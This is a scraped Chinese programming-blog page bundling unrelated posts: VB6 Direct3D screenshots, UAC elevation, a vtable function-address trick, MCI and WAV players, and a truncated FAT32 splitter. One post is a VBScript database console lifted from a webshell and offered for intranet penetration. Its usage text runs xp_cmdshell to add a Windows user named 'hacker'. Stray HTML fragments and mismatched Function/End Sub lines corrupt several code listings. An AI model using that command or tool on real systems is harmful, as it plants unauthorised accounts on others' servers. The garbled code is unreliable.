分类 [ 学习编程 ] 下的全部文章


Written By Microsoft MVP: Eric DeBrosse
In this article, I will explain how to save a screen shot from a Visual Basic 6 Direct3D8 application. This could be difficult to figure out on your own, since the VB SDK documentation does not mention the SaveSurfaceToFile method of the D3DX8 class. One thing that seems to cause confusion is the SrcPalette parameter. Even if you are not using indexed colors, you must still pass an un-initialized PALETTEENTRY structure to the SaveSurfaceToFile function. Passing Nothing will cause the function to fail.
Have a look at a simple function:

Public Sub SaveScreenShot(ByVal sFilename As String)
Dim oSurface As Direct3DSurface8
Dim SrcPalette As PALETTEENTRY
Dim SrcRect As RECT
Dim DispMode As D3DDISPLAYMODE

'get display dimensions
g_oDevice.GetDisplayMode DispMode

'create a surface to put front buffer on,
'GetFrontBuffer always returns D3DFMT_A8R8G8B8
Set oSurface = g_oDevice.CreateImageSurface(DispMode.Width, _
DispMode.Height, _
D3DFMT_A8R8G8B8)

'get data from front buffer
g_oDevice.GetFrontBuffer oSurface

'we are saving entire area of this surface
With SrcRect
.Left =
0
.Right = DispMode.Width
.Top =
0
.Bottom = DispMode.Height
End With

'save this surface to a BMP file
g_oD3DX.SaveSurfaceToFile sFilename, _
D3DXIFF_BMP, _
oSurface, _
SrcPalette, _
SrcRect
End Sub


The above function assumes g_oDevice is a valid Direct3DDevice8 object and g_oD3DX is a valid D3DX8 object.
First, we need to get the dimensions of the screen. If we were to use the GetViewport method to get the dimensions, it would fail on a device created with the D3DCreate_PUREDEVICE flag. Since GetFrontBuffer() always needs an image surface the size of the screen, (even when in windowed mode) the GetDisplayMode method is used and should not be an issue with pure devices.
Next, we create a new surface using the dimensions of our screen. The surface should be created using the D3DFMT_A8R8G8B8 format, because the GetFrontBuffer method always returns this format; regardless of the current back buffer format. We are using the GetFrontBuffer method to capture our screen shot, since it is the only way to capture anti-aliased output. The final call to SaveSurfaceToFile writes the entire captured surface to the specified bitmap file.
Notes: This function does not check for any errors! You should always set up some kind of error trap in any DirectX application, it makes it so much easier to debug. You could, for instance, validate the path and filename before actually trying to save the file. The function could also be easily modified to return a result code.



1、在Vista里, 你可以用鼠标右击某个应用程序(例如cmd.exe), 再选择"Run As Administrator"(在旧版本里是"Run Elevated")来以管理员权限运行它.
2、在程序(或其快捷方式)的属性Compatibility中选择Run this program as an administrator来运行
3、代码中
下面的C#代码会以管理员权限运行c:\test\script.cmd, 当然你会看到一个UAC对话框, 让你确认.

ProcessStartInfo startInfo = new ProcessStartInfo();
startInfo.FileName = "cmd.exe";
startInfo.Arguments = "/c c:\\test\\script.cmd";
startInfo.UseShellExecute = true;
startInfo.Verb = "RunAs";
Process process = new Process();
process.StartInfo = startInfo;
process.Start();


C/C++里, 可用ShellExecute或ShellExecuteEx, 把lpOperation/lpVerb设成"RunAs"就可
4、在应用程序rc中加入RT_MANIFEST类型资源,ID号为1.内容为

xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">

xmlns="urn:schemas-microsoft-com:asm.v3">


level="requireAdministrator" uiAccess="false"/>



也可以直接给程序添加一个如上的manifest文件,使程序以管理员权限运行。

另附微软官方UAC编程文档:(Windows Vista Application Development Requirements for User Account Control CompatibilityWindows Vista Application Development Requirements for User Account Control Compatibility)
http://www.microsoft.com/downloads/details.aspx?FamilyID=ba73b169-a648-49af-bc5e-a2eebb74c16b&DisplayLang=en



大多数的编程语言都可以获取真实的函数地址,在汇编中,这个根本就不是问题,是正当的编程手段之一,windows也经常会应用这个称为回调

函数的东西,但VB编程受限制,只能获取标准模块中的函数地址,而且该函数地址不可在运行时获取属于静态连接

在进行对象编程时,经常用到类模块,最简单的类模块应用就是包装代码了,但遇到类似处理子类化窗口函数时经常会让你觉得很累,无法获取

类模块中指定的函数地址,于是... 你不得不绕到模块中,通过动态调用的方式实现回调函数,比起 SetWindowLong xxx,xxx,any proc address

简直太费脑筋了,而且很多新手还不能理解这种编程思路.也无法应用, 有些汇编高手开始从对象的底层做起一步一步的探索找到了 Thunk 的

解决方法,其实这个方法是MS首先做出来的,只不过被coders们加强了

利用所学的有限的知识我也做一下,争取解决他吧:


Private Function GetClassProcAddress(ByVal SinceCount As Long) As Long
'***************************************************************************************************
' VB6 历史上最简单的获取类中指定函数地址的函数诞生了,can be get address of property to value ,too
'***************************************************************************************************
Dim i As Long, jmpAddress As Long
CopyMemory i, ByVal ObjPtr(Me), 4 ' get vtable
CopyMemory i, ByVal i + (SinceCount - 1) * 4 + &H1C, 4 ' 查表
CopyMemory jmpAddress, ByVal i + 1, 4 ' 获取的函数地址实际还是一个表,是一个跳转表
GetClassProcAddress = i + jmpAddress + 5 ' 计算跳转相对偏移取实际地址
End Function


调用方法:

类模块中指定的函数地址 = GetClassProcAddress( 第几个函数 )

oo" 代码很少... 他能行吗? 没问题... 找到指定的函数地址是没问题的...

解释下这个函数,

参数 SinceCount , 是从某个类模块中最顶端的函数或属性算起,他是第几个函数

这个参数有讲究...
1. 当被查找的函数为 公用函数时,它的值就是自顶端算起的第几个函数,比如你在类模块中最顶端写的一个公用函数 WndProc,那么就传 1
如果是第2个公用函数或属性那么就传 2 依次... 注意,计算的时候要算上公用属性,公用属性也要算上,当他是函数,算做一个

2. 当被查找的函数为 局部函数时,也就是说如果是 Private 修饰的函数,则此参数值为 所有公用函数个数 + 这是第 N 个私有函数
也是从顶端算起,同样包括属性

说下原理,
对象是什么? 对象实际就是一个结构,VB,甚至 C++ 都不一定能让你真正深刻的理解最底层的对象构造,如果说 VB 能让你懂得什么叫继承

则 C++ 能让你知道对象还可以变异....对象原来是那么简单实现了那么高级的技术

再向底层看,用汇编构造对象,你就可以看到,对象原来就是一个结构,结构中包括所有公用函数,属性的地址指针,和连接,销毁函数指针等

那么,在返回到 VB,ObjPtr 可以得到对象的 vTable 指针,通过查询 vTable 就可以得到我们想要的函数指针,前提是我们要知道编译器是

按照什么样的顺序放置属性函数指针的,现在经过查询资料和测试,已经知道了,那就是 基址 + &H1C 所谓的基址其实就是vTable, &H1C就

是VB给结构添加的和必要的函数指针所占用的空间, 从vTable+&H1C 开始存储我们的函数地址,存储顺序如何,可以参照上面对 GetClassProcAddress

的参数 SinceCount 的解释.VB 把所有模块都单独的建立了一个表,每个表中又有单独的表表示他所包含的函数地址.

好了,函数和原理解释已经差不多了,再说说应用

很不幸的我要说,直接应用价值基本 = 0 , 郁闷啊... 为什么呢? 因为... 对象的函数他的第1个参数是vTable指针,第2个(暂时忘了,想起来再补)

于是你构造的函数有4个参数,但编译后该函数将有6个参数,那如果直接交给别人用,比如 APi 那还不出事吗...

会出事,但又不是不能弥补,加上少量的内嵌汇编代码,从新构造一个小函数,就可以完美的运行了,o... 还是很不错的选择

说了很多, 我也累了,就先打住了,总结起来,就是成功的用最简单的代码获取了类模块中指定的函数地址,从这个角度来说此文应该还是一精华文章吧?

等我有时间了,我会将弥补的汇编函数和 GetClassProcAddress 相结合,构造一个最简单化的代码,实现真正的类模块回调函数


'代码源于海阳顶端2006的SQL模块,这里改成VBS版。功能和海阳顶端里面是一模一样的,用起来可能会没有ASP版的舒服,不过这个可以在DOS下用,方便渗透内网时用哈。

if (lcase(right(wscript.fullname,11))="wscript.exe") then
echo "Execute it under the cmd.exe Plz! Thx."
echo "code by lcx"
wscript.quit
end If

if
wscript.arguments.count<1 then
echo "Usage: cscript sql.vbs showTables e:\hytop.mdb或sql:Provider=SQLOLEDB.1;Server=localhost;User ID=sa;Password=haiyangtop;Database=bbs;"
echo "usage: cscript sql.vbs query 连接字符串 <表名=default:""""> sql语句 <页数=default:1>"
echo "exp:cscript sql.vbs showTables "&Chr(34)&"sql:Provider=SQLOLEDB.1;Server=localhost;User ID=sa;Password=haiyangtop;Database=bbs"&Chr(34)
echo
"exp:cscript sql.vbs query "&Chr(34)&"sql:Provider=SQLOLEDB.1;Server=localhost;User ID=sa;Password=haiyangtop;Database=bbs"&Chr(34)&Space(1) &Chr(34)&Chr(34)&Space(1)&Chr(34)&"select * from name"&chr(34)&Space(1) & 1
echo "exp:cscript sql.vbs query "&Chr(34)&"sql:Provider=SQLOLEDB.1;Server=localhost;User ID=sa;Password=haiyangtop;Database=bbs"&Chr(34)&Space(1) &Chr(34)&Chr(34)&Space(1)&Chr(34)&"update....."&chr(34)&Space(1) & 1
echo "exp:cscript sql.vbs query "&Chr(34)&"sql:Provider=SQLOLEDB.1;Server=localhost;User ID=sa;Password=haiyangtop;Database=bbs"&Chr(34)&Space(1) &Chr(34)&Chr(34)&Space(1)&Chr(34)&"exec master.dbo.xp_cmdshell 'net user ice hacker /add'--"&chr(34)&Space(1) & 1
end If

Sub
chkErr(Err)
If Err Then
echo "错误: " & Err.Description & "错误源: " & Err.Source & vbcrlf
Err.Clear
wscript.quit
End If
End Sub


Sub
echo(str)
wscript.echo str
End Sub

Function
fixNull(str)
If IsNull(str) Then
str = " "
End If
fixNull = str
End Function

Sub
showErr(str)
Dim i, arrayStr
arrayStr = Split(str,
"$$")
echo
"出错信息:"&vbcrlf
For i = 0 To UBound(arrayStr)
echo (i +
1) & ". " & arrayStr(i) & "
"
Next
echo vbcrlf
wscript.quit
End Sub

Rem =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Rem 下面是程序模块选择部分
Rem =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


PageMsDataBase()



Sub pageMsDataBase()
Dim theAct, sqlStr
theAct = Wscript.Arguments(
0)
sqlStr = Wscript.Arguments(
1)

Select Case theAct
Case "showTables"
showTables()
Case "query"
showQuery()

End Select

End Sub

Sub
showTables()

Dim conn, sqlStr, rsTable, rsColumn, connStr, tablesStr
sqlStr = Wscript.Arguments(
1)
If LCase(Left(sqlStr, 4)) = "sql:" Then
connStr = Mid(sqlStr, olor="#800080">5)
Else
connStr = "Provider=Microsoft.Jet.Oledb.4.0;Data Source=" & sqlStr
End If
Set
conn = CreateObject("Adodb.Connection")

conn.Open connStr
chkErr(Err)

tablesStr = getTableList(conn, sqlStr, rsTable)


echo tablesStr &
"================================================="


Do Until rsTable.Eof
Set rsColumn = conn.OpenSchema(4, Array(Empty, Empty, rsTable("Table_Name").value))
echo rsTable(
"Table_Name") &vbcrlf

Do Until rsColumn.Eof

echo
"字段名:" & rsColumn("Column_Name")&vbclrf
echo
"类型:" & getDataType(rsColumn("Data_Type")) & vbclrf
echo
"大小:" & rsColumn("Character_Maximum_Length") & vbclrf
echo
"精度:" & rsColumn("Numeric_Precision") & vbclrf
echo
"允许为空:" & rsColumn("Is_Nullable") & vbclrf
echo
"默认值:" & rsColumn("Column_Default") & vbclrf&vbclrf
rsColumn.MoveNext

Loop

rsTable.MoveNext
echo vbcrlf
Loop

echo "==============================================================="

conn.Close
Set conn = Nothing
Set
rsTable = Nothing
Set
rsColumn = Nothing
End Sub

Sub
showQuery()

Dim i, j, rs, sql, page, conn, sqlStr, connStr, rsTable, tablesStr, theTable

sqlStr = Wscript.Arguments(
1)
theTable = Wscript.Arguments(
2)
sql=Wscript.Arguments(
3)
page=Wscript.Arguments(
4)

If Not IsNumeric(page) or page = "" Then
page = 1
End If


If
LCase(Left(sqlStr, 4)) = "sql:" Then
connStr = Mid(sqlStr, 5)
Else
connStr = "Provider=Microsoft.Jet.Oledb.4.0;Data Source=" & sqlStr
End If
Set
rs = CreateObject("Adodb.RecordSet")
Set conn = CreateObject("Adodb.Connection")

conn.Open connStr
chkErr(Err)

tablesStr = getTableList(conn, sqlStr, rsTable)

echo
"数据库表结构查看:"
echo tablesStr & "========================================================"
echo ">SQL命令执行及查看<:"&vbcrlf
If sql <> "" And Left(LCase(sql), 7) = "select " Then
rs.Open sql, conn, 1, 1
chkErr(Err)
rs.PageSize =
20
If Not rs.Eof Then
rs.AbsolutePage = page
End If
If
rs.Fields.Count>0 Then
echo "SQL操作 - 执行结果"&vbcrlf
echo
"===================="&theTable&"列名如下========================================"
For j = 0 To rs.Fields.Count-1
echo rs.Fields(j).Name & vbcrlf
Next
For
i = 1 To 20
If rs.Eof Then
Exit For
End If


For
j = 0 To rs.Fields.Count-1
echo fixNull(rs(j))& vbcrlf
Next

rs.MoveNext
Next
End If
echo "================================================================="
echo " 共有"&rs.Fields.Count&"列" & vbcrlf
For i = 1 To rs.PageCount
page=i

Next
t>echo " 共有" & page & "页"
rs.Close
Else
If
sql <> "" Then
conn.Execute(sql)
chkErr(Err)
echo
"执行完毕!"&vbcrlf
End If
End If



conn.Close
Set rs = Nothing
Set
conn = Nothing
Set
rsTable = Nothing
End Sub

Function
getDataType(typeId)
Select Case typeId
Case 130
getDataType = "文本"
Case 2
getDataType = "整型"
Case 3
getDataType = "长整型"
Case 7
getDataType = "日期/时间"
Case 5
getDataType = "双精度型"
Case 11
getDataType = "是/否"
Case 128
getDataType = "OLE 对象"
Case Else
getDataType = typeId
End Select
End Function

Function
getTableList(conn, sqlStr, rsTable)
Set rsTable = conn.OpenSchema(20, Array(Empty, Empty, Empty, "table"))
echo
"存在以下表名:"
Do Until rsTable.Eof
getTableList = getTableList &
"["& rsTable("Table_Name") & "]"&vbcrlf
rsTable.MoveNext
Loop
rsTable.MoveFirst
End Function




***********************************************************
* 转载请务必注明来源于 雨律在线 Http://YuLv.Net
***********************************************************

Public Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long

Public Declare Function
mciGetDeviceID Lib "winmm.dll" Alias "mciGetDeviceIDA" (ByVal lpstrName As String) As Long

Public Declare Function
waveOutGetVolume Lib "winmm.dll" (ByVal uDeviceID As Long, lpdwVolume As Long) As Long

Public Declare Function
GetWindowLong Lib "USER32" Alias "GetWindowLongA" (ByVal Hwnd As Long, ByVal nIndex As Long) As Long

Public Declare Function
CallWindowProc Lib "USER32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal Hwnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long

Public Declare Function
SetWindowLong Lib "USER32" Alias "SetWindowLongA" (ByVal Hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long

Public Declare Function
GetShortPathName Lib "kernel32" Alias "GetShortPathNameA" (ByVal lpszLongPath As String, ByVal lpszShortPath As String, ByVal cchBuffer As Long) As Long

Enum
PlayTypeName
File =
1
CDAudio = 2
VCD = 3
RealPlay = 4
End Enum
Dim
PlayType As PlayTypeName
Enum AudioSource
H =
0 ' "stereo"
L = 1 '"left"
R = 2 '"right"
End Enum
Enum
Playstate
停止 =
1
暂停 = 2
播放 = 3
End Enum
Dim
hWndMusic As Long
Dim
prevWndproc As Long


'打开MCI设备,FILENAME为文件名,传值代表成功与否
Public Function OpenMusic(FileName As String, Optional Hwnd As Long) As Boolean
OpenMusic = False
Dim
ShortPathName As String * 255
Dim RefShortName As String
Dim
RefInt As Long
Dim
MciCommand As String
Dim
DriverID As String

CloseMusic '关闭 已经打开的歌曲 才可以打开新的歌曲
'获取短文件名
GetShortPathName FileName, ShortPathName, 255
RefShortName = Left(ShortPathName, InStr(1, ShortPathName, Chr(0)) - 1)
'MCI命令
DriverID = GetDriverI
D(RefShortName)
If DriverID = "RealPlayer" Then
PlayType = RealPlay
Exit Function
End If
MciCommand = "open " & RefShortName & " type " & DriverID & " alias NOWMUSIC"

'根据不同的格式加载不同的解码器

If DriverID = "AVIVideo" Or DriverID = "MPEGVideo" Or DriverID = "MPEGVideo2" Then
If
Hwnd <> 0 Then
MciCommand = MciCommand + " parent " & Hwnd & " style child"
hWndMusic = GetWindowHandle
prevWndproc = GetWindowLong(hWndMusic, -
4)
SetWindowLong hWndMusic, -
4, AddressOf WndProc
Else
MciCommand = MciCommand + " style overlapped "
End If
End If

RefInt = mciSendString(MciCommand, vbNull, 0, 0)
mciSendString
"set NOWMUSIC time format milliseconds", vbNullString, 0, 0
If RefInt = 0 Then
OpenMusic = True
LrcForm.LRC1.Sotp '关闭 已经打开的歌词
SongName = Trim$(Mid$(FileName, InStrRev(FileName, "\") + 1, Len(FileName))) & " " '滤除前面的路径
Naccuracy = 0 '还原歌词调整值 为 0
End If
End Function
Function
WndProc(ByVal Hwnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
If
Msg = &H202 Then
MsgBox "OK"
End If
WndProc = CallWindowProc(prevWndproc, Hwnd, Msg, wParam, lParam)
End Function

'根据文件名,确定设备
Public Function GetDriverID(ff As String) As String
Select Case
UCase(Right(ff, 3))
Case "MID", "RMI", "IDI"
GetDriverID = "Sequencer"
Case "WAV"
GetDriverID = "Waveaudio"
Case "ASX", "IVF", "LSF", "LSX", "P2V", "WAX", "WVX", ".WM", "WMX", "WMP"
GetDriverID = "MPEGVideo2"
Case ".RM", "RAM", ".RA", "MVB"
GetDriverID = "RealPlayer"
Case Else
GetDriverID = "MPEGVideo"
End Select
End Function


'播放文件
Public Function PlayMusic() As Boolean
Dim
RefInt As Long
PlayMusic = False
RefInt = mciSendString("play NOWMUSIC", vbNull, 0, 0)
If RefInt = 0 Then
PlayMusic = True: DownloadLrc '加载 或下 载歌词
SetVolume ((Mian.Button1(6).Left - 660)) / 640 * 1000 '计算当前音量大小 '最大为1000
'检测播放速度 800 慢 1200 快
If menu.SpeedDown.Checked Then SetSpeed 800
If menu.SpeedUp.Checked Then SetSpeed t>1200
'检测声道 默认 立体
If menu.AudioLeft.Checked Then SetAudioSource L '左声道
If menu.AudioRight.Checked Then SetAudioSource R
End If
End Function


'获取媒体的长度
Public Function GetMusicLength() As Long
Dim
RefStr As String * 80
mciSendString "status NOWMUSIC length", RefStr, 80, 0
GetMusicLength = Val(RefStr)
End Function

'获取媒体的长度 00:00
Public Function GetMusicLengthString() As String
Dim
RefStr As String * 80
mciSendString "status NOWMUSIC length", RefStr, 80, 0
GetMusicLengthString = CStr(Format(Int(Val(RefStr) \ 1000 \ 60), "00") & ":" & Format(Val(RefStr) \ 1000 Mod 60, "00.") & Val(RefStr) \ 100 Mod 10)
End Function
'设置当前播放进度条的长度 最长是 1980

Public Function HScrollWidth() As Long
Dim
RefStr As String * 80
mciSendString "status NOWMUSIC position", RefStr, 80, 0
If Int(Val(RefStr)) <= 0 Then HScrollWidth = 1980: Exit Function
HScrollWidth = 1980 / GetMusicLength * Val(RefStr) ' * 1980
End Function
'设置当前播放进度条的长度和播放位置

Public Sub HScrollValue(Value As Single)
SetMusicPos ((
1980 - (4240 - Value)) / 1980 * GetMusicLength) ' * Val(RefStr) ' * 1980
End Sub

'获取当前播放进度 毫秒
Public Function GetMusicPos() As Long
Dim
RefStr As String * 80
mciSendString "status NOWMUSIC position", RefStr, 80, 0
GetMusicPos = Val(RefStr)
End Function

'获取当前播放进度 格式 00:00.0
Public Function GetMusicPosString() As String
Dim
RefStr As String * 80
mciSendString "status NOWMUSIC position", RefStr, 80, 0
GetMusicPosString = CStr(Format(Int(Val(RefStr) \ 1000 \ 60), "00") & ":" & Format(Val(RefStr) \ 1000 Mod 60, "00.") & Val(RefStr) \ 100 Mod 10)
End Function

'获取媒体的当前进度
Public Function SetMusicPos(Position As Long) As Boolean
Dim
RefInt As Long
SetMusicPos = False
RefInt = mciSendString("seek NOWMUSIC to " & Position, vbNull, 0, 0)
If RefInt = 0 Then PlayMusic: SetMusicPos = True
End Function

'暂停播放
Public Function PauseMusic() As Boolean
Dim
RefInt As Long
PauseMusic = False
RefInt = mciSendString("pause NOWMUSIC", vbNull, 0, 0)
If RefInt = 0
Then PauseMusic = True
End Function

'关闭媒体
Public Function CloseMusic() As Boolean
Dim
RefInt As Long
CloseMusic = False
RefInt = mciSendString("close NOWMUSIC", vbNull, 0, 0)
If RefInt = 0 Then CloseMusic = True
End Function

'全屏播放
Public Function PlayFullScreen() As Boolean
Dim
RefInt As Long
PlayFullScreen = False
RefInt = mciSendString("play NOWMUSIC fullscreen", vbNull, 0, 0)
If RefInt = 0 Then PlayFullScreen = True
End Function

'设置声音大小
Public Function SetVolume(Volume As Long) As Boolean
Dim
RefInt As Long
SetVolume = False
RefInt = mciSendString("setaudio NOWMUSIC volume to " & Volume, vbNull, 0, 0)
If RefInt = 0 Then SetVolume = True
End Function
'设置声道
'======================================================
Public Function SetAudioSource(sAudioSource As AudioSource) As Boolean
Dim
RefInt As Long
Dim
strSource As String
Select Case
sAudioSource
Case 1: strSource = "left"
Case 2: strSource = "right"
Case 0: strSource = "stereo"
End Select
SetAudioSource = False
RefInt = mciSendString("setaudio NOWMUSIC source to " & strSource, vbNull, 0, 0)
If RefInt = 0 Then SetAudioSource = True
End Function

'设置播放速度
Public Function SetSpeed(Speed As Long) As Boolean
Dim
RefInt As Long
SetSpeed = False
RefInt = mciSendString("set NOWMUSIC speed " & Speed, vbNull, 0, 0)
If RefInt = 0 Then SetSpeed = True
End Function

'静音True为静音,FALSE为取消静音
Public Function SetAudioOnOff(AudioOff As Boolean) As Boolean
Dim
RefInt As Long
Dim
OnOff As String
SetAudioOff = False
If
AudioOff Then OnOff = "off" Else OnOff = "on"
RefInt = mciSendString("setaudio NOWMUSIC " & OnOff, vbNull, 0, 0)
If RefInt = 0 Then SetAudioOff = True
End Function

'获得当前媒体的状态是不是在播放
Public Function IsPlaying() As Playstate
Dim sl As String * 255
mciSendString "status NOWMUSIC mode", sl, Len(sl), 0
'MsgBox sl
If Left(sl, 7) = "playing" Or Left(sl, 2) = "播放" Then
IsPlaying = 播放
ElseIf Left(sl, 7) = "stopped" Or Left(sl, 2) = ont>"停止" Then
IsPlaying = 停止
Else
IsPlaying = 暂停
End If
End Function

'获得播放窗口的handle
Public Function GetWindowHandle() As Long
Dim
RefStr As String * 160
mciSendString "status NOWMUSIC window handle", RefStr, 80, 0
GetWindowHandle = Val(RefStr)
End Function

'获取DeviceID
Public Function GetDeviceID() As Long
GetDeviceID = mciGetDeviceID("NOWMUSIC")
End Function




***********************************************************
* 转载请务必注明来源于 雨律在线 Http://YuLv.Net
***********************************************************

'最简单的WAV声音或音乐文件播放的代码
'API声明
Private Declare Function sndPlaySound Lib "winmm.dll" Alias "sndPlaySoundA" _
(
ByVal lpszSoundName As String, ByVal uFlags As Long) As Long
'常量
Const SND_SYNC = &H0
Const SND_ASYNC = &H1
Const SND_NODEFAULT = &H2
Const SND_LOOP = &H8
Const SND_NOSTOP = &H10

'播放WAV声音或音乐文件
Private Function PlayWavSound(SoundFile As String) As Long
'SoundFile 变量为存放WAV声音路径的
Dim lFlags As Long
lFlags = SND_ASYNC Or SND_NODEFAULT
PlayWavSound = sndPlaySound(SoundFile, lFlags)
End Sub

'停止播放WAV声音或音乐文件
Private Function StopWavSound(SoundFile As String) As Long
Dim
lFlags As Long
lFlags = SND_ASYNC Or SND_NODEFAULT
StopWavSound = sndPlaySound(SoundFile,lFlags)
End Sub



'调用例子
Call PlayWavSound("C:\WINDOWS\Media\Windows XP 电话拨入声.wav")






JPEG & PNG Stripper 专门用来批量清除照片中不必要的 EXIF 信息,将照片直接拖入 JPEG & PNG Stripper 软件框就完成操作,简单,快捷。

EXIF(Exchangeable image file format)是可交换图像文件的缩写,专门为数码相机的照片设定的,可以记录数码照片的属性信息和拍摄数据。


文件名称: JPEG & PNG Stripper
文件版本: 1.5.0.34 绿色单文件版
文件格式: RAR
文件大小: 80 KB
官方网站: www.steelbytes.com
文件发布雨律在线

免责声明
  此文件已经过了JiaJia的正版 卡巴斯基全功能安全软件2009(最新病毒库) 的检测,在JiaJia的爱机上没有出现任何不良反应,但为了用户您的安全,请在下载相关文件后再使用您所信赖的杀毒软件扫描一次。如使用下载的相关文件的过程中对您的爱机造成危害,雨律在线不承担其责任。
  雨律在线所发表的内容大部分源于互联网,只为学习交流所用,而JiaJia所推荐及建议的内容并不对您的行为构成引导,您应当按照自己需要使用。另外,本站内容为我爱好所写,转载需遵循创造共同协议,即:署名·非商业用途·保持一致。如果雨律在线内容不慎侵犯了您的版权,请及时联系站长JiaJia,站长将尽快处理,撤下相关内容。若JiaJia所写文章中存在错漏之处,希望网友能及时提出及更正,如果喜欢该软件,请购买正版支持作者 :)


下载地址 Stripper 下载  [雨律在线 - YuLv.Net]


/************************************************************************/
/* Zeal 0.11 In-place file splitter
/* By Roger 2008.11.29 http://rogerfd.cn
/* Change log:
/* 2009.2.12 v0.11 fixes a bug when open file with . in dir
/************************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <io.h>
#include <windows.h>
#include <Shlobj.h>

#pragma pack(push, 1)

typedef struct _fat32_boot_sector
{
BYTE u1[11];
WORD bytes_per_sector;
BYTE sectors_per_cluster;
WORD reserved_sectors_count;
BYTE fats_count;
BYTE u2[11];
DWORD hidden_sectors;
DWORD total_sectors_2;
DWORD sectors_per_fat32;
BYTE u3[4];
DWORD rootdir_cluster;
BYTE u4[34];
char type[8];
BYTE u5[420];
WORD end_flag;
}
fat32_boot_sector;

typedef struct _dir_item
{
char name[8];
char ext[3];
BYTE attr;
BYTE reserved;
BYTE create_time_ms;
WORD create_time;
WORD create_date;
WORD last_access_time_ms;
WORD first_cluster_high;
WORD last_access_time;
WORD last_access_date;
WORD first_cluster_low;
DWORD size;
}
dir_item;

#pragma pack(pop)

#define MAX_BLOCK 127

class zeal
{

public:

zeal ()
{
m_bDebug = false;
m_bOpen = false;
m_arryFatCache = NULL;
};
~
zeal ()
{
};
void set_debug (bool debug)
{
m_bDebug = debug;
}
int cut (const char* szFile, unsigned int count);
int restore (const char* szFile);

private:

int open (char vol);
void close ();
DWORD get_fat (DWORD fat_index);
int set_fat (DWORD fat_index, DWORD fat_value);
int create_empty_file (const char* szFile);
int find_item (DWORD dir_cluster, const char* szShortName, OUT DWORD& first_cluster);
int set_item (DWORD dir_cluster, const char* szShortName, DWORD size, DWORD firstcluster);
DWORD get_last_fat (DWORD fat_index);
void msg_debug (const char* msg, ...);
void msg_error (const char* msg, ...);

int m_vol;
bool m_bDebug;
bool m_bOpen;
HANDLE m_hVol;
DWORD m_OffsetFat1;
DWORD m_OffsetFat2;
DWORD m_OffsetCluster0;
DWORD m_OffsetRootdir;
DWORD m_ClusterSize;
PDWORD m_arryFatCache;
fat32_boot_sector m_BootSector;
};

void zeal::msg_debug (const char* msg, ...)
{
if (!m_bDebug)
{
return;
}
va_list arg;
va_start (arg, msg);
vprintf (msg, arg);
va_end (arg);
}

void zeal::msg_error (const char* msg, ...)
{
va_list arg;
va_start (arg, msg);
vprintf (msg, arg);
va_end (arg);
}

int zeal::create_empty_file (const char* szFile)
{
msg_debug ("creating %s ... \n", szFile);
HANDLE h = CreateFile (szFile, 0, 0, 0, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, 0);
if (h == INVALID_HANDLE_VALUE)
{
return -1;
}
CloseHandle (h);
return 0;
}

void strncpy_no_null (char* to, const char* from, int maxchar)
{
for (int i = 0; i < maxchar; ++i)
{
if (from[i] == 0)
{
break;
}
to [i] = from [i];
}
}

void merge_short_name (const char* name, const char* ext, char* shortname)
{
memset (shortname, ' ', 11);
strncpy_no_null (shortname, name, 8);
strncpy_no_null (shortname + 8, ext+1, 3);
}

DWORD get_file_size (const char* szFile)
{
HANDLE hFile = CreateFile (szFile, 0,
FILE_SHARE_WRITE|FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
if (hFile == INVALID_HANDLE_VALUE)
{
return 0;
}
DWORD dwLSize;
dwLSize = GetFileSize (hFile, NULL);
CloseHandle (hFile);
return dwLSize;
}

DWORD zeal::get_fat (DWORD index)
{
DWORD off = (m_OffsetFat1 + 4*index) & ~0x1FF;
if (!m_bOpen)
{
goto failed;
}

if (index * m_BootSector.sectors_per_cluster + m_OffsetCluster0/512 > m_BootSector.total_sectors_2)
{
msg_error ("get_fat() error: invalid param!\n");
goto failed;
}

if (m_arryFatCache[index] != 1)
{
return m_arryFatCache[index] & 0x0FFFFFFF;
}

if (off != SetFilePointer (m_hVol, off, 0, FILE_BEGIN))
{
msg_error ("SetFilePointer failed!\n");
goto failed;
}

DWORD read, fat;
DWORD buf[128];
if (!ReadFile (m_hVol, (PBYTE)buf, 512, &read, NULL) || read != 512)
{
msg_error ("ReadFile failed!\n");
goto failed;
}
fat = buf [(m_OffsetFat1/4 + index) % 128];
memcpy ((PBYTE)m
_arryFatCache
+ 4*index - ((m_OffsetFat1 + 4*index) & 0x1FF), buf, 512);
return fat & 0x0FFFFFFF;

failed:
return ~0;
}

DWORD zeal::get_last_fat (DWORD fat_index)
{
DWORD cluster = fat_index;
DWORD next_cluster;
while (TRUE)
{
next_cluster = get_fat (cluster);
if (next_cluster >= 0xFFFFFF8 && next_cluster <=0xFFFFFFF)
{
return cluster;
}
cluster = next_cluster;
}
}

int zeal::set_fat (DWORD fat_index, DWORD fat_value)
{
DWORD off = (m_OffsetFat1 + 4*fat_index) & ~0x1FF;

if (!m_bOpen)
{
goto failed;
}

if (fat_index * m_BootSector.sectors_per_cluster + m_OffsetCluster0/512 > m_BootSector.total_sectors_2)
{
msg_error ("get_fat() error: invalid param!\n");
goto failed;
}

if (off != SetFilePointer (m_hVol, off, 0, FILE_BEGIN))
{
msg_error ("SetFilePointer failed!\n");
goto failed;
}

DWORD read;
DWORD buf[128];
if (!ReadFile (m_hVol, (PBYTE)buf, 512, &read, NULL) || read != 512)
{
msg_error ("ReadFile failed!\n");
goto failed;
}

buf [(m_OffsetFat1/4 + fat_index) % 128] = fat_value;

if (off != SetFilePointer (m_hVol, off, 0, FILE_BEGIN))
{
goto failed;
}

if (!WriteFile (m_hVol, (PBYTE)buf, 512, &read, NULL) || read != 512)
{
msg_error ("WriteFile failed!\n");
goto t>failed;
}

off = (m_OffsetFat2 + 4*fat_index) & ~0x1FF;
if (off != SetFilePointer (m_hVol, off, 0, FILE_BEGIN))
{
msg_error ("SetFilePointer failed!\n");
goto failed;
}

